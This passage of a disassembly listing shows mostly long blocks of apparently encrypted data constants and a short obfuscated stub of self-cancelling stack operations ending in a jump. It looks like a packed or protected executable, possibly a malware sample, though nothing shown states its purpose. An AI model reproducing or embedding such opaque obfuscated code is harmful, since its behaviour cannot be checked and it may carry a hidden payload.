		dd 0DC5CD845h, 21B76AB1h, 0A104F2E9h, 658ED03Eh, 7965F167h
		dd 854EECBDh, 0CB7DE615h, 0CAAC48h, 0B89C0000h,	7969A410h
		dd 0C85294BDh, 4A61778Dh, 0D642CACEh, 0A64494E8h, 77DD664h
		dd 88FCB5EAh, 92763B70h, 0DC6E502h, 11E72BADh, 50C0289Ah
		dd 0A3E7F1BEh, 4494E5FBh, 1800AB4Dh, 0BAF0A0C8h, 0E0E430DAh
		dd 0C84C786Ch, 0F41480B4h, 3AC0FAB7h, 7E9000E8h, 0B04A8031h
		dd 8E8AA5BFh, 5F629CFEh, 10B89CC1h, 0BD7D96A4h,	0EAB51C94h
		dd 0D117D129h, 9B04ED65h, 0B943D25h, 122FB47Eh,	55745F77h
		dd 34Eh, 60426D8Dh, 0ECD6D934h,	59476478h, 0E8DAD529h
		dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh,	0FADE86FCh
		dd 19FDCFB1h, 8D330771h, 0CDF8F542h, 0F3935A77h, 4494E881h
		dd 31365F77h, 0BFFBB532h, 0B1E1BF09h, 476E5457h, 367593FBh
		dd 57BB3D7Dh, 0DBE92A81h, 0FBD4AEFDh, 0BA52C661h, 3EA1E6F3h
		dd 4A426FB1h, 0BD7813D0h, 535019B9h, 52FA5EC9h,	0C74D1D5Bh
		dd 3DA91749h, 3B7833D5h, 775A797Fh, 0FB894A61h,	0DBF4CEDDh
		dd 6672E641h, 4254843Eh, 49CF5BC5h, 0A12E76C1h,	147C983Eh
		dd 4EBAB2EDh, 4EBD792Ah, 0F5D5FEADh, 8D8E556Dh,	535249C6h
		dd 0BDFF8395h, 90007814h, 3D1DBD79h, 9435C434h,	395948CBh
		dd 2A000000h, 79DD48D2h, 0A1BDEAD1h, 7E46C3Eh, 3CEE5AF2h
		dd 0ACDEBD78h, 0C355B55Eh, 7B30C73Fh, 9008842Dh, 8DBD783Ch
		dd 8534A4ADh, 4F48CA24h, 518229BFh, 0EA315F79h,	0E2000000h
		dd 0CE4A6177h, 7C865A96h, 26B4E574h, 653A972Dh,	0EBC018ACh
		dd 713A9E26h, 90B7E70Fh, 0DCFD280Ch, 69157583h,	0DF449479h
		dd 5440A209h, 25BAF7B4h, 2C28101Bh, 9F7B73F4h, 0AD4BDE83h
		dd 0A1BBDA5Dh, 8058D03Eh, 0EA03DD2Bh, 7561D550h, 8DABF4DDh
		dd 4D736BFDh, 0F75FA1C7h, 0FE089AA7h, 98A2D58Ah, 0AEF11080h
		dd 482DCA4Ah, 2B8F9B6h,	29AF0BC8h, 39668BF7h, 0FFC46C30h
		dd 8D2C1770h, 1CEh, 0E0C2ED0Dh,	6C5659B4h, 0D9C7E4F8h
		dd 685A55A9h, 0D8CAD5FCh, 2BD676E8h, 81660E74h,	2FCCB82Ah
		dd 7A5E067Ch, 997D4F31h, 8D3487F1h, 4D787542h, 0FE0F5A77h
		dd 701800B1h, 4494E804h, 0B2F8B2F4h, 4EBA5246h,	3E4494E8h
		dd 0BE50D80Ch, 5AFF2A2Ah, 0D63262C0h, 17FBEBD5h, 9488056Fh
		dd 0C5EA0344h, 0F4078BBDh, 3AC0FAB7h, 0DD48D21Bh, 0BDEAD179h
		dd 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h, 24EE1D8Dh,	0ACB448CAh
		dd 61000000h, 894A6177h, 8C9D6FBh, 94E5CA74h, 2B9A3E44h
		dd 58ADC8F3h, 0CCDFFC8Ah, 0B3F5B307h, 6843A5CDh, 59EA74ABh
		dd 6BAEBFCEh, 6FE72104h, 5ED35CD7h, 0AA184AC1h,	38200B15h
		dd 4B9EA590h, 54A727C7h, 0DA609A57h, 9E2BC22Ah,	0F7135EF3h
		dd 0C809BFE2h, 0D040B8F2h, 60146E31h, 0B1AD1E81h, 8470FEBCh
		dd 0E01E9Bh, 0DFFB0000h, 6B82F2D0h, 0D6365E44h,	6777EBD5h
		dd 0C72A5A48h, 40B6EAD8h, 87A25CCh, 52307B5Ch, 0E2C922h
		dd 49377494h, 89FB8B73h, 7F428D35h, 5A773B82h, 0D1275B45h
		dd 0A16744A4h, 630A6DB5h, 85505F1Ah, 0FB862D73h, 7D55F3E3h
		dd 87FF7D79h, 44945B1Dh, 0E9EFB9EBh, 0C8264FA9h, 0E4F021E7h
		dd 0A439A704h, 0ABA78F9Ah, 3C35D473h, 3B37CA71h, 28E20F9Ch
		dd 0C7237A12h, 9FE13EACh, 25866272h, 7A31C7BBh,	38E84339h
		dd 4FEFDADEh, 0C726AE82h, 0A0515AB2h, 0FA9AA06Ah, 7FF3CDDEh
		dd 87914269h, 1FB9F607h, 6AE21BF3h, 9CEC30FEh, 307EEA62h
		dd 1C4E9CECh, 5F945688h, 0B8504454h, 9CEC304Ch,	30CC38D0h
		dd 8ABC9CECh, 0AC32C8FAh, 0FAB1479Fh, 0AFFCDC88h, 88702h
		dd 1910000h, 1A39BFE0h,	63775940h, 0DBFD874Ch, 5AB123D0h
		dd 0D334A051h, 48A91BD8h, 0C72A9A57h, 55A91BD8h, 0D12B995Ah
		dd 52AB19DAh, 5652B45Dh, 0C681E689h, 4,	8704EE83h, 248B2434h
		dd 0F4B6824h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 34087487h
		mov	ecx, 0D2116017h
		sub	ecx, 3D862BAFh
		add	ecx, edi
		add	ecx, 3D862BAFh
		pop	edi
		push	479Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		push	ecx
		pop	eax
		mov	[ebp+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		dw 2DEh
		dd 44E5F2A0h, 89B889A3h, 30619DEh, 0C1E0FFC5h, 1D2D5373h
		dd 0C47CD0C1h, 0D518FFB4h, 40278ED0h, 0A96999D8h, 4B37E250h
		dd 5E5CCEDFh, 372B0B64h, 0D1CB0A4h, 0E463E273h,	968AEA4h
		dd 11E1F6Ch, 0E11107B5h, 502EE77Dh, 5A28E66Ch, 3F1BFC73h
		dd 0B44F6238h, 0A61FD922h, 1604C373h, 0F87D367Dh, 285B3343h
		dd 5B6D5909h, 0E12728EAh, 0E8799C8Bh, 0Fh, 0ABE8EEh, 133577C7h
		dd 0CC6673B0h, 80826B61h, 0E85F42D7h, 14h, 60B34321h, 947B51D2h
		dd 175EABAEh, 9FA4159h,	2715B74Fh, 0D6816660h, 0E2BBED6Ch
		dd 613E9382h, 28C78159h, 66000059h, 2B2A19B9h, 8BDF8BF6h
		dd 0E1813704h, 257A432Eh, 8E9F081h, 0F38079A6h,	0F4C0816Ah
		dd 0F2F22A0h, 685h, 8DD28100h, 817D04C0h, 26C653C0h, 12E938h
		dd 0C3B70000h, 0B0850DDEh, 0A5CC6A15h, 0E9396BD6h, 0C25243Bh
		dd 8A370489h, 81D981DCh, 830C0B05h, 8E0F03EEh, 4, 0FE9DB966h
		dd 0EE94Eh, 817E0000h, 0BD605DAh, 0C74B524h, 0E7C6F35Ah
		dd 0A7D8FE81h, 850FFFFFh, 18h, 48A0Fh, 0BA660000h, 35E996C0h
		dd 45000000h, 21B31208h, 3D5A9E9Fh, 0FE9h, 0AB104900h
		dd 0F9AE72C8h, 0D21F5C18h, 81BEE0C6h, 0FFFF56E9h, 0F2183FFFh
		dd 4A50710Dh, 71531DF6h, 959EA0BEh, 0D1719CB9h,	21E9h
		dd 91234400h, 38h, 6 dup(0)
		dd 0B4E90000h, 66000004h, 7A607ED8h, 624866E8h,	7C5E7CCEh
		dd 634565EBh, 6D607ED6h, 381CA9C2h, 2A28B89Ah, 3711A68Ch
		dd 2C20B197h, 6B9AC58Eh, 16B794EFh, 0BDFD61B8h,	6D51E06Ch
		dd 745674E0h, 664C6BE1h, 0F4737DD7h, 0EECD7FD2h, 76C396C9h
		dd 4466AC7Ch, 8B0A5BF1h, 0EA0A241h, 345EF140h, 0F25AEB97h
		dd 315BEDD5h, 9E2962BCh, 8BEA2B10h, 9A2D1341h, 952A10AEh
		dd 9E2D5EF0h, 0A3B2D3B2h, 26FC7BA4h, 0C21C608h,	104292C4h
		dd 68E10B41h, 0EC5D25BAh, 1E01147Dh, 2280E1h, 0C58BDCADh
		dd 0AC265774h, 75109E73h, 41107110h, 9E7451B0h,	0CB40CA10h
		dd 4155D3A1h, 3E8DB5A3h, 6853CA12h, 64000000h, 26D9DA3Bh
		dd 636DCF61h, 0E06CBDF9h, 0B4A42051h, 0C619109Dh, 0A9BC73E1h
		dd 9E84DA34h, 3D62A310h, 0E9F3E4E7h, 32022A9Fh,	9AA34196h
		dd 1, 0E16DBDC0h, 0ACDC6E50h, 0D6D11547h, 0DC6D0C5Fh, 582169FAh
		dd 466AA82Ch, 3EC743B2h, 0D90109Eh, 0C41E4F6Ch,	8D109E3Eh
		dd 87D86908h, 72C46E0Bh, 89DCFEDCh, 0BD45E3C3h,	314D1E70h
		dd 0A6B924C3h, 25476C7h, 86D9FD4Ch, 14F73C2h, 0A2CC0051h
		dd 3CD63C29h, 0CBC613BFh, 17B7D67Eh, 6AE41936h,	9E109DCDh
		dd 93F2430Dh, 557741C4h, 0D5F94804h, 5476C783h,	0D6F849FFh
		dd 937BCA84h, 489184F5h, 411F4DBEh, 0E9A341F0h,	60h, 0E470BD4Dh
		dd 6BDF7155h, 700989DAh, 0C2E173C2h, 0A83C4DE0h, 137293A2h
		dd 0DBF9C342h, 5DEC68F5h, 0D766EA79h, 0E507840Eh, 0A341E807h
		dd 46AFh, 0E0C29300h, 95B7014Fh, 193D0C48h, 0E070BFC6h
		dd 3F8EB081h, 0B3024415h, 0D33F90A1h, 666C4F36h, 0C4901DD5h
		dd 77E6C9E6h, 109DB51Bh, 0BD17A1E4h, 50E16DBDh,	9DB4A021h
		dd 791910h, 41EA1CDCh, 1C4A3h, 0C29A0000h, 0B51670E5h
		dd 0BEDF109Dh, 0F4902436h, 76F5091Bh, 96355455h, 0A12B21B4h
		dd 9FAD0042h, 74EE1F40h, 3D109E30h, 7B5110D8h, 76CA7811h
		dd 0AFBAF6D4h, 86CFF8D7h, 781D7AE2h, 0BB2A27B1h, 168F1AEAh
		dd 0E7EB7A9Bh, 0F1D9F656h, 0F5E3ED61h, 0EDCA82D3h, 8DDC78C5h
		dd 0D425C40Ch, 0A8B1978h, 63496EB1h, 9716A104h,	0F18A04CCh
		dd 7E5CF041h, 0F243095Ch, 7ECF7DD0h, 0D181FA98h, 56EECC80h
		dd 5AACAC86h, 5EF04268h, 1020F96h, 0A3330000h, 7AEBC8BEh
		dd 168EBC37h, 0DFFC4DD0h, 464FC6F8h, 7D47DD9Bh,	64420A5Bh
		dd 57E55C43h, 0A755702Fh, 71553414h, 0BBDA6BDFh, 0BE8E1F31h
		dd 0E2A93921h, 419EFF51h, 8A7052CCh, 0F2FA1B0Ah, 4EFE4F73h
		dd 53F74971h, 9634DA89h, 70DC6D25h, 513AFA52h, 38A25AADh
		dd 35000000h, 0C594C00Dh, 7B1A2E81h, 0BCA3E771h, 0FA74E9C6h
		dd 736F624Bh, 0FE4FFF4Fh, 7598559Fh, 0B53995E4h, 513B909Dh
		dd 8BF7F0B8h, 4C3DB92Ch, 0C746EF62h, 72C8E7h, 0A3660000h
		dd 7AEBC8BEh, 168EA18Fh, 0AC265778h, 750A8AA0h,	0DEE07110h
		dd 84A1014Bh, 0F3420C9Eh, 0B5084A92h, 0BE123897h, 54A5448Ch
		dd 0A8AA0F3h, 752D9E34h, 4E4A68E4h, 73547313h, 864EFE4Fh
		dd 713F0807h, 0A1B0D510h, 307D0C9Dh, 0E0F44524h, 164B1DAEh
		dd 0DC6F5370h, 17BCDD6Ch, 228F2E8Dh, 2734BC1Ah,	5847D9B6h
		dd 0CCA1A60Ah, 0B1C63CB1h, 0FB557514h, 0EBC8BEA3h, 84549D7Ah
		dd 1A2B6A16h, 7A7A538h,	4F820126h, 1943B592h, 202C7DCFh
		dd 3E0E9F83h, 12C637B6h, 4B27FBCCh, 0B19B2E14h,	2D5761A0h
		dd 3353E69Ch, 1ACEDF32h, 0F5D5B4F9h, 0B80782D3h, 0F5DAF998h
		dd 83152BFFh, 0D6955F41h, 5CED63F4h, 0D564E67Ah, 722A64F1h
		dd 4D339EB7h, 5B7FCEAFh, 81F1420Ah, 45C71D08h, 0A1ABFEB4h
		dd 0BE8E1F01h, 0A5A93921h, 391CC1Bh, 2D000000h,	71BDE17Bh
		dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h
		dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h, 0C681E689h
		dd 4, 4BF57h, 0FE290000h, 2434875Fh, 7C6C685Ch,	14890000h
		dd 10056824h, 34890000h, 43BF5724h, 47640716h, 2FD3EF81h
		dd 0F7813475h, 11D8380Dh, 538BBA52h, 0D7314405h, 8E7C15Ah
		dd 1657EF81h, 0FA894674h, 4EC815Fh, 89000000h, 4812424h
		dd 424h, 0B8505E00h, 8,	1089F001h, 8324048Bh, 348B04C4h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch
		dd 4C4815Ah, 0E9000000h, 0FFF99C08h, 0B8AFC356h, 619E4C9h
		dd 0E0FFC503h, 259E9D1h, 36A94A46h, 703D3D76h, 0FACE833h
		dd 490F8577h, 6CB50F31h, 658BFED2h, 5533B7D8h, 3E1418D9h
		dd 722DEACEh, 32E9h, 0B92BDE00h, 8, 0Ah	dup(0)
		dd 0E9000000h, 4B5h, 19E6C668h,	9B8EE906h, 3E68FFF9h, 0E90619E7h
		dd 0FFF99B84h, 19E8CA68h, 9B7AE906h, 19A5FFF9h,	2BBB9D3Dh
		dd 0B9D8323h, 2AB99F3Fh, 13A28826h, 0FD326141h,	0B3134190h
		dd 0B3133F8Dh, 0B00E3A8Dh, 0B515378Ah, 0D832A3ACh, 0A116B799h
		dd 70BDD688h, 0E07155E4h, 0F1684F6Ch, 8DC71696h, 0E215F826h
		dd 0A5BCFCDAh, 3693C2E1h, 0FF168F19h, 0AF90CF9Eh, 45143C8Bh
		dd 173995C4h, 0BD020A8Bh, 6BD89B30h, 0CA127368h, 8B1CDB3Bh
		dd 63D8320Ah, 0AC827B39h, 303E35Ah, 0B9770000h,	0DBABB6DFh
		dd 0A5E889FCh, 3E69168Eh, 0CD31E8DBh, 2AB701A5h, 0F3D708EBh
		dd 3958E961h, 3E6950AFh, 469BE7E5h, 0FFF26340h,	0F81315A9h
		dd 0C0143695h, 0A73D99CCh, 87060711h, 0AE3657E6h, 9EE8013Fh
		dd 80F9CC41h, 55720D02h, 0FE6CA620h, 4F2E6F00h,	55F74A70h
		dd 4A025375h, 82B2AA17h, 3510D776h, 333h, 0BF1F3783h, 0A5054999h
		dd 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh
		dd 0F0436545h, 5587A58h, 755A6747h, 0B79A8600h,	68DA4F16h
		dd 0EBC8BEA3h, 8451B17Ah, 98375616h, 0DB6E23B2h, 1FB8F5ABh
		dd 0ABCAE310h, 0BD1A7B9Ah, 3B0A4695h, 0E664F8DAh, 0B0AE3657h
		dd 48193B8Ah, 0B595270Bh, 0A7BDC2Bh, 2ABBE949h,	0E081D15Fh
		dd 8B91A6Dh, 59743380h,	2BBh, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh
		dd 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh
		dd 0DD705270h, 5D824F6Fh, 0B79BAE28h, 40227716h, 6602BEA3h
		dd 9D87A276h, 0B6A4644Bh, 4B7D7B5Ch, 3BAA8D2Ah,	109E83DFh
		dd 7E5B65A8h, 63E77961h, 20412A59h, 0E9E61685h,	849E1A74h
		dd 3DCE30Ah, 0AFDA0DD8h, 39086908h, 84124AC8h, 0D465A10Ah
		dd 25C8FC23h, 6A4A7450h, 0B03AFA62h, 0A2A25AA7h, 0B8000001h
		dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 0AD295C7Bh,	76109DB4h
		dd 0C4BBB017h, 3632A84Dh, 8D225FAEh, 6AAB168Fh,	892CAADBh
		dd 7830A8Bh, 328A4A72h,	466C5AACh, 0C90D5CF6h, 786D77Bh
		dd 43475E66h, 98000000h, 0A83022B2h, 4CE0C22Eh,	92A3AB3Bh
		dd 1FB01273h, 0D7E12031h, 0A30086DBh, 8E985332h, 50E12416h
		dd 8A87A121h, 0FD8EF80Ah, 0AD3901CFh, 0D9A95Ah,	280A0000h
		dd 0C86F793h, 0D50A8A94h, 180D1B0h, 6CBD1DB7h, 0B557B322h
		dd 0FD20109Dh, 0B18ECD9Ch, 9DB4E23Ch, 75A4AB10h, 60FC8F9Bh
		dd 2B2DB7D6h, 0A3A7B69Eh, 2C2B3A12h, 0C899B306h, 0FC4D7F49h
		dd 61037250h, 0E1109E70h, 0E2DEFC50h, 0FFE0FF87h, 0D7FF8DDBh
		dd 0E4D5298Fh, 8AC998F9h, 9EB0FF5Bh, 2445C810h,	0ED76D9Ch
		dd 0B1D41689h, 0F0A13012h, 3F5EEF5Dh, 33024A9Bh, 2D13B3D2h
		dd 4932EEA0h, 0BBD40FE6h, 0E485C517h, 0DF42071h, 4B862580h
		dd 12Fh, 0BB1B3B87h, 0A9094595h, 0B5153587h, 0AE0C4493h
		dd 0B7173D8Ch, 0F342AB84h, 0D15F4161h, 0ACFF2181h, 0C91C3E9Ch
		dd 39162383h, 0B79D4AC4h, 64FE1316h, 0B72670BDh, 109DB55Bh
		dd 4211418Fh, 0FE4EDFC3h, 0C8193F9Fh, 0BD8C2684h, 0BF8B1D6Ch
		dd 3F0E6FAEh, 2482CA1Bh, 2A89FDE4h, 8EFBE6BBh, 617E9F16h
		dd 6AA2EC79h, 3317A9B9h, 0C35E138Ch, 8B1D05A2h,	506FAEBFh
		dd 8A37C11Dh, 0C10B8A0Ah, 37E26093h, 8B1E0A8Ah,	72BFE1C1h
		dd 8BDAC5E2h, 2F5B79E4h, 0DBF6757Fh, 97h, 0C8BEA377h, 51AD7AEBh
		dd 755A1684h, 91F3B71Dh, 93305123h, 0AA3222AFh,	0A5331C3Bh
		dd 75A15F33h, 0C9DAF39h, 5A456240h, 0D55E4EB2h,	0E5E7F11Ah
		dd 6A69F854h, 756F448h,	0EB3995C8h, 83020A83h, 4DABDAE2h
		dd 0D61823ACh, 0E2731F9Ch, 0D3664C6Ah, 0CCEBE879h, 0E32A3D99h
		dd 3D8706FBh, 3EBECC1Bh, 0CB87D525h, 1AA1BCE4h,	0E2765C7Bh
		dd 30B8D968h, 0A1BE9BB1h, 0E3A3F26Ch, 925ABBFBh, 7ECF83F8h
		dd 77CAF0CEh, 0C4984D5h, 0E5000000h, 0B1795E7Bh, 0DC994F71h
		dd 0BD2DA731h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
		dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh,	2215242Ah
		dd 66A368h, 240C8900h, 763768h,	24348900h, 2D4568h, 240C8900h
		dd 0E5E8B951h, 0CE890619h, 83240C8Bh, 8B5404C4h, 0C481240Ch
		dd 4, 3F7A68h, 24348900h, 0FF08418Fh, 83592434h, 348B04C4h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 96EAE95Ch
		dd 2895FFF9h, 86A82B8Eh, 0EA1EB8F6h, 0C5030619h, 0F12CE0FFh
		dd 0DCE1270Bh, 29157121h, 7921086Bh, 15E90333h,	0A7F37C56h
		dd 2D1F6B2Dh, 152374C6h, 6C44F5Dh, 86834982h, 1EFC0AF0h
		dd 0F35E5052h, 0F162081Ah, 657A7146h, 9AFD7FC7h, 36262163h
		dd 0B45F5F6Ch, 0E21466BCh, 0B5405A68h, 0C73E5AE9h, 21124D1Ah
		dd 76595204h, 12B61F98h, 0E07B4DDBh, 79B30A2Fh,	0CAB8610Bh
		dd 0A5C419F6h, 3063E84h, 2FA41166h, 8D8D2C03h, 619EBD7h
		dd 8967C080h, 131BBD8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 4B8A1EADh, 9D8BD301h
		dd 6130B35h, 18DD85C7h,	6B400613h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C7BB54C3h
		dd 13305585h, 6, 0C19D0900h, 8B06132Eh,	1331A595h, 1B5FF06h
		dd 6A061321h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8101C350h, 7B5B2AFBh, 0CB81A3A6h
		dd 43D57B78h, 0FFD68B66h, 131D8995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 74F952E6h
		dd 635E5F90h, 2825958Bh, 6A0613h, 0DA995FFh, 0C08B0613h
		dd 1F4B38EBh, 8F2495CBh, 1D95DA31h, 24036B30h, 0B58A086Dh
		dd 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh, 1CC58E9Ah
		dd 9E25CE92h, 0D9D7D840h, 75968FF3h, 82598655h,	8D8DE4CFh
		dd 619ECDEh, 35607BB8h,	659D3178h, 89061316h, 131BBD8Dh
		dd 0EDB58906h, 8B06131Fh, 0DD85C7C3h, 50061318h, 0BA000066h
		dd 421A393Dh, 305585C7h, 613h, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 408AC5C3h
		dd 0AE9h, 6BCAF100h, 45B474BDh,	0FFE9C8E8h, 1331EDB5h
		dd 8995FF06h, 6A06131Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B14C357h, 130D11B5h
		dd 14E806h, 0C33F0000h,	8DB49C66h, 0FDD8B6A4h, 383EA6CCh
		dd 0D7179C77h, 0E957829Eh, 0Fh,	0B91CDA6Eh, 0FA1377B5h
		dd 0CBCFCF13h, 5EAE1265h, 0FF006A58h, 130DA995h, 0EBC08B06h
		dd 0F4B03E0Ch, 0DD37AE68h, 2F44A154h, 10E834h, 8B690000h
		dd 0D86B2786h, 98E8F518h, 7ACDCB57h, 0F98B905Eh, 0D7C18159h
		dd 68000064h, 0
		dd 0CE8h, 620F1600h, 276FFEC1h,	0C5C541CAh, 0E5BD8901h
		dd 5B06131Dh, 0E7816658h, 34FF9E04h, 0D3BF0F08h, 0E1BB665Eh
		dd 2CC681ABh, 0E8160661h, 7, 0D6F8C4BAh, 333DB2C0h, 1322C59Dh
		dd 0C6815B06h, 4A1B2C11h, 2179BD89h, 0F6810613h, 561568A4h
		dd 25EDBF66h, 48FF956h,	0C3816601h, 0E8816F59h,	0D5EC05Fh
		dd 61DBD8Bh, 0C0810613h, 0D5EC05Bh, 359D8B57h, 5B06130Dh
		dd 9BD0F881h, 850FFFFFh, 0FFFFFF96h, 5AEB8166h,	12E8A0h
		dd 57F40000h, 3C80D107h, 526C7F93h, 0C7B63D17h,	0DAAA8B9Dh
		dd 0D820Fh, 8E90000h, 0A9000000h, 1E5E4074h, 58F1E435h
		dd 81E6CD80h, 734DC0h, 78BB6600h, 60F6331Eh, 0C480F18Bh
		dd 34FF61F4h, 0E1B3BA06h, 0E85F2371h, 14h, 68F275F5h, 63CF57ECh
		dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 28F0Fh, 61600000h
		dd 0E2F78159h, 806D3B01h, 0EF81A0DEh, 0F30C659h, 38A0Fh
		dd 0BF0F0000h, 0A6F781DEh, 8B3E2202h, 303C89DAh, 1965950Bh
		dd 0D1810613h, 2B9B2005h, 8904EE83h, 130B6D85h,	90FE8106h
		dd 0FFFFF8Dh, 1385h, 0D3816600h, 2CE9675Eh, 0A6000000h
		dd 919CD966h, 6FBB3B26h, 0AE9h,	7C1CAF00h, 4E6F6FF6h, 0E9C14829h
		dd 0FFFFFF6Ah, 0A3D43EBh, 50FB9799h, 8569ED94h,	0E980C094h
		dd 13h,	41BB5FE3h, 3 dup(0)
		dd 0E9000000h, 50Fh, 2383D35Fh,	1A1ADFDh, 1DBD8D1Fh, 6A4AC3Bh
		dd 1FBF9524h, 5BEA032Ch, 69F7D9F9h, 54E7C9E9h, 61F4D6F4h
		dd 0E1FECBEBh, 0B7A332ACh, 0BCA6FB16h, 1670E5C2h, 0DF109DB5h
		dd 912436BEh, 19A8AABBh, 24B59B3Bh, 19A78B28h, 0E30AF39h
		dd 7EC091BBh, 0C013222Ch, 8351B89Fh, 382C3B3h, 8BA4FB9h
		dd 113797B5h, 62C8ABEh,	84C697B1h, 0B4F1E34h, 80C293BBh
		dd 2BBB1F2Dh, 3E4CD65Dh, 0ACCD8D11h, 0A318BA9Dh, 57F41EB2h
		dd 923018ABh, 81798AB5h, 89EE4187h, 90BC0D3Fh, 9E320C33h
		dd 408D8EDAh, 3998E978h, 0B2109E34h, 0BB79A318h, 23A34195h
		dd 68h,	133D8EB4h, 5FF9C342h, 0C3E06CBDh, 6CFD4DDFh, 0B544A32Dh
		dd 109DB557h, 9FCD3ECCh, 0A341EAD1h, 0C3C8FB3h,	273618AAh
		dd 1C7DEE6h, 9B000000h,	50E16DBDh, 4EFE4F73h, 4569EFFh
		dd 203F9CB2h, 9DB571EDh, 3915A510h, 0B694282Ah,	0BD0766A7h
		dd 0B59B2C2Eh, 4ABF33A4h, 0AB084698h, 45143487h, 0FCDEFCC4h
		dd 65C3E369h, 55E470BDh, 1AAAE171h, 2085938h, 0F23FF388h
		dd 0CB5E4462h, 3A8EB081h, 0EE184110h, 0E8712F5Dh, 8CD9A341h
		dd 7D000000h, 55E470BDh, 16A8DF71h, 0C3E82938h,	0C1FE8502h
		dd 0ED7C1DCAh, 0D483F87Ah, 62F35DEEh, 2AB79923h, 17A68C2Ah
		dd 4367E97Ah, 8B0A5BF3h, 0E8775BEAh, 0C2E846A2h, 0C9A8D126h
		dd 0A4157178h, 41A8A878h, 7A10A3h, 7FA30000h, 2E7D2131h
		dd 0EAF21322h, 0E470BD70h, 0A4DE7155h, 0AEDF673Dh, 109E1B34h
		dd 0C53398FDh, 5CEE426Fh, 0CA0D5C3Dh, 4E572A15h, 1169F6C5h
		dd 0E6EE8FC3h, 0D6630FACh, 0F67516B8h, 1C7D0651h, 489BBFh
		dd 0BD409AB8h, 0E0C2E16Dh, 0E30014Fh, 0EAF293BDh, 0A7B5C7Bh
		dd 109DB490h, 3F923459h, 13DD3C0Dh, 9DB51574h, 87048E10h
		dd 41EA9765h, 63FA3h, 0BAA00000h, 449E2628h, 8EDF6BBDh
		dd 253F94Ch, 7B27A4CEh,	454161E9h, 6A4D6A1Ch, 9DB49FFBh
		dd 0D3626810h, 0FBD8E081h, 8EB19B8Ah, 78C94C16h, 6A490356h
		dd 958F648h, 30124088h,	6F9EAF9Dh, 0A8AAEF1h, 5F13A82Ah
		dd 7A607ECEh, 0F2D465E7h, 0B65CED5Fh, 62F39F1Ch, 0A070CCEAh
		dd 85AAD10h, 15Bh, 0C8BEA32Eh, 0BC377AEBh, 4DD0168Eh, 0C587DAFCh
		dd 0DA72C3E5h, 56F6478Bh, 0F891FF07h, 0A1FD704Fh, 6A0A8AA5h
		dd 1EAFA12Bh, 6434902Eh, 0CC5AAD1Bh, 51h, 0C6BCA372h, 4BFA74E9h
		dd 82036F62h, 9ADAFA25h, 0E26DF826h, 664C8BDAh,	13727AD4h
		dd 909EA3B7h, 0C1345AEBh, 909EA445h, 5FEE8F0Eh,	37A6EC7Bh
		dd 909EA3DBh, 310061A4h, 1E07840Eh, 0A573088Ah,	7AEBC8BAh
		dd 0EF633B00h, 0B268409h, 0D7h,	4CE0C2A7h, 0FD706FFEh
		dd 109DB4A1h, 824A2B6Ah, 7C5B2B36h, 8EA0FC09h, 8DDAE516h
		dd 3E2B7BEAh, 0F2DDFA9Bh, 0D8C6534Ah, 7D2F3C40h, 0C7C003D9h
		dd 90CF1EA6h, 91E43EAFh, 68AD0A8Ah, 91C01A4Bh, 4890A8Ah
		dd 3F479ABCh, 7D174F05h, 0A6046526h, 285D3184h,	0A89EAAEh
		dd 0E6771677h, 89EB3497h, 88AA750Ah, 44CE1634h,	0A73A20C7h
		dd 6B7594A5h, 94B6D869h, 0FE58093Fh, 0C70A89E9h, 7BD16446h
		dd 0EDCAABEAh, 14DC78C5h, 0E79FCAC6h, 8FBF95C8h, 0C6EC1070h
		dd 988D973h, 8F2022BFh,	91A0AAFEh, 0C1401170h, 1CAD91A0h
		dd 0C12B2130h, 4DC09F48h, 46FFBD1h, 0D48EB59Ah,	738DB86h
		dd 0D6AA4166h, 99ED55Ah, 186E73BFh, 44497BBh, 7A6E9FBCh
		dd 370A569Ch, 0A35AF8D6h, 6CC802BEh, 17E244h, 7C46909Bh
		dd 0ADCCC3FEh, 0A809DF0Eh, 47C61684h, 0CB81D4F6h, 0D874C5EBh
		dd 0C686D7FBh, 0D31E6FFEh, 78512577h, 80D181FAh, 0DD113706h
		dd 0A9C8A51Ah, 93DE250Ah, 889B8436h, 0E8CF2C07h, 17A1CF39h
		dd 0A1361C39h, 507796A7h, 0DDE1072Fh, 0E5E7F1E7h, 6569F854h
		dd 0F5EB7AD6h, 1C76E7C8h, 50C2E0EEh, 0C50251FFh, 0E0EE3690h
		dd 0FF9EFFC2h, 741E9BF5h, 6B4C6BE1h, 0E0EDA0FAh, 3F87D1C2h
